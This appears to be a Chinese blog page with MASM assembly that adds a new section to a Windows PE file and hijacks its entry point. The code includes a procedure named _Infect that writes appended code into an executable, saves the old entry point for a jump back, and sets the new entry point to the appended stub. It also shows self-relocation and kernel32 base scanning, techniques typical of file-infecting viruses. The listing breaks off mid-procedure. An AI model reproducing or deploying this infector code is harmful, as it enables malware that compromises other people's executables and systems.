c语言pe添加区段,增加PE代码 (原创, ASM 实现)

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

invoke GlobalAlloc, GPTR , [esi].OptionalHeader.SizeOfHeaders ;开辟新的空间

mov @lpMemory, eax

invoke RtlMoveMemory, eax, _lpHead,[esi].OptionalHeader.SizeOfHeaders ;复制旧头到新头

movzx ecx, [esi].FileHeader.NumberOfSections

dec ecx

mov eax, sizeof IMAGE_SECTION_HEADER

mul ecx ;eax -> 最后一个节表头

mov edi, @lpMemory ;新DOS头

assume edi: ptr IMAGE_DOS_HEADER

add edi, [edi].e_lfanew ;新PE头

assume edi: ptr IMAGE_NT_HEADERS

mov ebx, edi

add ebx, IMAGE_NT_HEADERS ;新的第一个节表头

mov edx, ebx

add edx, eax ;edx 最后一个节表头

mov ebx, edx

add ebx, sizeof IMAGE_SECTION_HEADER ;ebx 最后一个节表尾

assume edx: ptr IMAGE_SECTION_HEADER

assume ebx: ptr IMAGE_SECTION_HEADER

pushad

xor eax, eax

mov edi, ebx

mov ecx, sizeof IMAGE_SECTION_HEADER

repz scasb

popad

.if ZERO? ;有空间插入新的节表

inc [edi].FileHeader.NumberOfSections

mov eax, [edx].PointerToRawData

add eax, [edx].SizeOfRawData ;最后一个节表单位RAW

mov [ebx].PointerToRawData, eax

mov ecx, offset APPEND_CODE_END - offset APPEND_CODE ;插入代码的大小

invoke _Align, ecx, [esi].OptionalHeader.FileAlignment ;代码关于文件对齐

mov [ebx].SizeOfRawData, eax

invoke _Align, ecx, [esi].OptionalHeader.SectionAlignment ;代码关于节对齐

add [edi].OptionalHeader.SizeOfCode, eax ;增加原来代码的大小

add [edi].OptionalHeader.SizeOfImage, eax

invoke _Align, [edx].Misc.VirtualSize, [esi].OptionalHeader.SectionAlignment

add eax, [edx].VirtualAddress ;计算新节表的虚拟地址

mov [ebx].VirtualAddress, eax

mov [ebx].Misc.VirtualSize, offset APPEND_CODE_END - offset APPEND_CODE

;设置 Characteristics (可读,可写等)

mov [ebx].Characteristics, IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE \

or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

invoke lstrcpy, addr [ebx].Name1, offset szSectionName ;设置节表名

;*************************** 将代码写到文件的最后 **************************

invoke SetFilePointer, hFile, [ebx].PointerToRawData, NULL, FILE_BEGIN

invoke WriteFile, hFile, offset APPEND_CODE, [ebx].Misc.VirtualSize, \

addr @dwTemp, NULL

mov eax, [ebx].PointerToRawData

add eax, [ebx].SizeOfRawData

invoke SetFilePointer, hFile, eax, NULL, FILE_BEGIN

invoke SetEndOfFile, hFile

;***************************************************************************

;************************** 获取 RVA 和 RAW *********************************

push [ebx].VirtualAddress

pop @dwAddCodeBase

push [ebx].PointerToRawData

pop @dwAddCodeFile

;**************************************************************************

;************************ 修正旧的程序入口点 *******************************

push [esi].OptionalHeader.AddressOfEntryPoint

pop @dwOldEntry

mov eax, @dwAddCodeBase

add eax, offset _ToOldEntry - offset APPEND_CODE + 5

sub @dwOldEntry, eax

mov ecx, @dwAddCodeFile

add ecx, offset _dwOldEntry - offset APPEND_CODE

invoke SetFilePointer, hFile, ecx, NULL, FILE_BEGIN

invoke WriteFile, hFile, addr @dwOldEntry, 4, addr @dwTemp, 0

;***************************************************************************

;************************* 设置新的人口点 ***********************************

mov eax, @dwAddCodeBase

add eax, offset _NewEntry - offset APPEND_CODE

mov [edi].OptionalHeader.AddressOfEntryPoint, eax ;设置程序新的入口点

invoke SetFilePointer, hFile, 0,0, FILE_BEGIN

invoke WriteFile, hFile, @lpMemory, [esi].OptionalHeader.SizeOfHeaders, \

addr @dwTemp, 0

;****************************************************************************

;************************ 关闭工作 *****************************************

invoke GlobalFree, @lpMemory

;***************************************************************************

.endif

_Ret:

ret

_Infect endp

start:

invoke CreateFile, offset szSrcFileName, GENERIC_READ or GENERIC_WRITE,\

FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING ,NULL , NULL

mov hFile, eax

invoke CreateFileMapping, hFile, NULL, PAGE_READWRITE , 0, 0, NULL

invoke MapViewOfFile, eax, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0

.if !eax

jmp _Exit

.endif

mov lpMemory, eax

mov esi, eax

assume esi: ptr IMAGE_DOS_HEADER

add esi, [esi].e_lfanew

invoke _Infect, lpMemory, esi

invoke CloseHandle, hFile

_Exit:

invoke ExitProcess, 0

end start

;GetKernel1.asm 文件

_GetKernelBase proc _dwKernelRet

LOCAL _dwRet

pushad

;**********************代码重定位***************

call @F

@@:

pop ebx

sub ebx, offset @B

;************************************************

mov edi, _dwKernelRet

and edi, 0ffff0000h

.while TRUE

.if word ptr [edi] == IMAGE_DOS_SIGNATURE

mov eax, edi

add eax, [eax + 003ch]

.if word ptr [eax] == IMAGE_NT_SIGNATURE

mov _dwRet, edi

.break

.endif

.endif

sub edi, 010000h

.break .if edi 

.endw

popad

mov eax, _dwRet

ret

_GetKernelBase endp

_GetAPIByName proc _dwKernelBase, _lpszAPI

LOCAL @dwRet, @dwAPILength

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值